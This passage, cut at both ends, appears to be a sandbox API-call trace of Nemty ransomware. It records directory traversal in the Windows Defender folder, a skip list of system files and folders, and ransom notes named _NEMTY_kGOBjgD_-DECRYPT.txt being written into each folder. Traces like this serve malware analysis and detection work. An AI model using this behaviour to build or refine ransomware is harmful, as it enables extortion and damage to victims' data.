lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0099.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0099.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0099.475] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows defender\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0099.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0099.476] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.476] WriteFile (in: hFile=0x3c0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0099.477] CloseHandle (hObject=0x3c0) returned 1 [0099.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0099.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0099.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0099.477] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeeee83b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeeee83b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0099.477] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0099.477] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeeee83b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeeee83b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0099.477] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0099.477] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0099.477] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe06c69f0, ftCreationTime.dwHighDateTime=0x1d503ab, ftLastAccessTime.dwLowDateTime=0x9334d70, ftLastAccessTime.dwHighDateTime=0x1d53e5f, ftLastWriteTime.dwLowDateTime=0x9334d70, ftLastWriteTime.dwHighDateTime=0x1d53e5f, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="colored_outsourcing_summaries.exe", cAlternateFileName="COLORE~1.EXE")) returned 1 [0099.477] lstrcmpiW (lpString1="colored_outsourcing_summaries.exe", lpString2=".") returned 1 [0099.477] lstrcmpiW (lpString1="colored_outsourcing_summaries.exe", lpString2="..") returned 1 [0099.477] lstrcmpiW (lpString1="colored_outsourcing_summaries.exe", lpString2="...") returned 1 [0099.477] lstrcmpiW (lpString1="colored_outsourcing_summaries.exe", lpString2="windows") returned -1 [0099.477] lstrcmpiW (lpString1="colored_outsourcing_summaries.exe", lpString2="$RECYCLE.BIN") returned 1 [0099.477] lstrcmpiW (lpString1="colored_outsourcing_summaries.exe", lpString2="rsa") returned -1 [0099.477] lstrcmpiW (lpString1="colored_outsourcing_summaries.exe", lpString2="NTDETECT.COM") returned -1 [0099.477] lstrcmpiW (lpString1="colored_outsourcing_summaries.exe", lpString2="ntldr") returned -1 [0099.477] lstrcmpiW (lpString1="colored_outsourcing_summaries.exe", lpString2="MSDOS.SYS") returned -1 [0099.478] lstrcmpiW (lpString1="colored_outsourcing_summaries.exe", lpString2="IO.SYS") returned -1 [0099.478] lstrcmpiW (lpString1="colored_outsourcing_summaries.exe", lpString2="boot.ini") returned 1 [0099.478] lstrcmpiW (lpString1="colored_outsourcing_summaries.exe", lpString2="boot.ini") returned 1 [0099.478] lstrcmpiW (lpString1="colored_outsourcing_summaries.exe", lpString2="AUTOEXEC.BAT") returned 1 [0099.478] lstrcmpiW (lpString1="colored_outsourcing_summaries.exe", lpString2="ntuser.dat") returned -1 [0099.478] lstrcmpiW (lpString1="colored_outsourcing_summaries.exe", lpString2="desktop.ini") returned -1 [0099.478] lstrcmpiW (lpString1="colored_outsourcing_summaries.exe", lpString2="CONFIG.SYS") returned -1 [0099.478] lstrcmpiW (lpString1="colored_outsourcing_summaries.exe", lpString2="RECYCLER") returned -1 [0099.478] lstrcmpiW (lpString1="colored_outsourcing_summaries.exe", lpString2="BOOTSECT.BAK") returned 1 [0099.478] lstrcmpiW (lpString1="colored_outsourcing_summaries.exe", lpString2="bootmgr") returned 1 [0099.478] lstrcmpiW (lpString1="colored_outsourcing_summaries.exe", lpString2="programdata") returned -1 [0099.478] lstrcmpiW (lpString1="colored_outsourcing_summaries.exe", lpString2="appdata") returned 1 [0099.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0099.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="colored_outsourcing_summaries.exe", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0099.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="colored_outsourcing_summaries.exe", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="colored_outsourcing_summaries.exe", lpUsedDefaultChar=0x0) returned 33 [0099.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f940e0 [0099.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="colored_outsourcing_summaries.exe", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0099.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="colored_outsourcing_summaries.exe", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="colored_outsourcing_summaries.exe", lpUsedDefaultChar=0x0) returned 33 [0099.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940e0 | out: hHeap=0x4f90000) returned 1 [0099.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0099.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0099.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="colored_outsourcing_summaries.exe", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0099.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="colored_outsourcing_summaries.exe", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="colored_outsourcing_summaries.exe", lpUsedDefaultChar=0x0) returned 33 [0099.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0099.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0099.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="colored_outsourcing_summaries.exe", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0099.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0099.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="colored_outsourcing_summaries.exe", cchWideChar=33, lpMultiByteStr=0x6345640, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="colored_outsourcing_summaries.exe", lpUsedDefaultChar=0x0) returned 33 [0099.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0099.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0099.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0099.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0099.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.479] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="en-US", cAlternateFileName="")) returned 1 [0099.479] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0099.479] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0099.479] lstrcmpiW (lpString1="en-US", lpString2="...") returned 1 [0099.479] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0099.479] lstrcmpiW (lpString1="en-US", lpString2="$RECYCLE.BIN") returned 1 [0099.479] lstrcmpiW (lpString1="en-US", lpString2="rsa") returned -1 [0099.479] lstrcmpiW (lpString1="en-US", lpString2="NTDETECT.COM") returned -1 [0099.479] lstrcmpiW (lpString1="en-US", lpString2="ntldr") returned -1 [0099.479] lstrcmpiW (lpString1="en-US", lpString2="MSDOS.SYS") returned -1 [0099.479] lstrcmpiW (lpString1="en-US", lpString2="IO.SYS") returned -1 [0099.479] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0099.479] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0099.479] lstrcmpiW (lpString1="en-US", lpString2="AUTOEXEC.BAT") returned 1 [0099.479] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0099.479] lstrcmpiW (lpString1="en-US", lpString2="desktop.ini") returned 1 [0099.479] lstrcmpiW (lpString1="en-US", lpString2="CONFIG.SYS") returned 1 [0099.479] lstrcmpiW (lpString1="en-US", lpString2="RECYCLER") returned -1 [0099.479] lstrcmpiW (lpString1="en-US", lpString2="BOOTSECT.BAK") returned 1 [0099.479] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0099.479] lstrcmpiW (lpString1="en-US", lpString2="programdata") returned -1 [0099.479] lstrcmpiW (lpString1="en-US", lpString2="appdata") returned 1 [0099.479] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0099.479] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653f590, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0099.479] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0099.479] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653f590, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0099.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0099.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x76) returned 0x634fc60 [0099.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0099.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0099.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0099.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0099.480] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0099.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.480] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0099.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f940f0 [0099.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0099.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0099.480] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows defender\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0099.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0099.480] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.480] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0099.481] CloseHandle (hObject=0x3c4) returned 1 [0099.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0099.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0099.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0099.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0099.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94158 [0099.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0099.481] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0099.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.482] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0099.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0099.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0099.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0099.482] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows defender\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0099.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0099.482] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.482] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0099.483] CloseHandle (hObject=0x3c4) returned 1 [0099.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0099.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0099.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94158 [0099.483] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\en-US\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeef0e510, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeef0e510, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0099.484] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0099.484] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeef0e510, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeef0e510, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0099.484] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0099.484] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0099.484] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="MpAsDesc.dll.mui", cAlternateFileName="")) returned 1 [0099.484] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2=".") returned 1 [0099.484] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="..") returned 1 [0099.484] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="...") returned 1 [0099.484] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="windows") returned -1 [0099.484] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="$RECYCLE.BIN") returned 1 [0099.484] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="rsa") returned -1 [0099.484] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="NTDETECT.COM") returned -1 [0099.484] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="ntldr") returned -1 [0099.484] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="MSDOS.SYS") returned -1 [0099.484] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="IO.SYS") returned 1 [0099.484] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="boot.ini") returned 1 [0099.484] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="boot.ini") returned 1 [0099.484] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="AUTOEXEC.BAT") returned 1 [0099.484] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="ntuser.dat") returned -1 [0099.484] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="desktop.ini") returned 1 [0099.484] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="CONFIG.SYS") returned 1 [0099.484] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="RECYCLER") returned -1 [0099.484] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="BOOTSECT.BAK") returned 1 [0099.484] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="bootmgr") returned 1 [0099.484] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="programdata") returned -1 [0099.484] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="appdata") returned 1 [0099.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpAsDesc.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0099.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpAsDesc.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpAsDesc.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0099.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0099.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpAsDesc.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0099.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpAsDesc.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpAsDesc.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0099.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0099.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpAsDesc.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0099.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpAsDesc.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpAsDesc.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0099.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpAsDesc.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0099.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 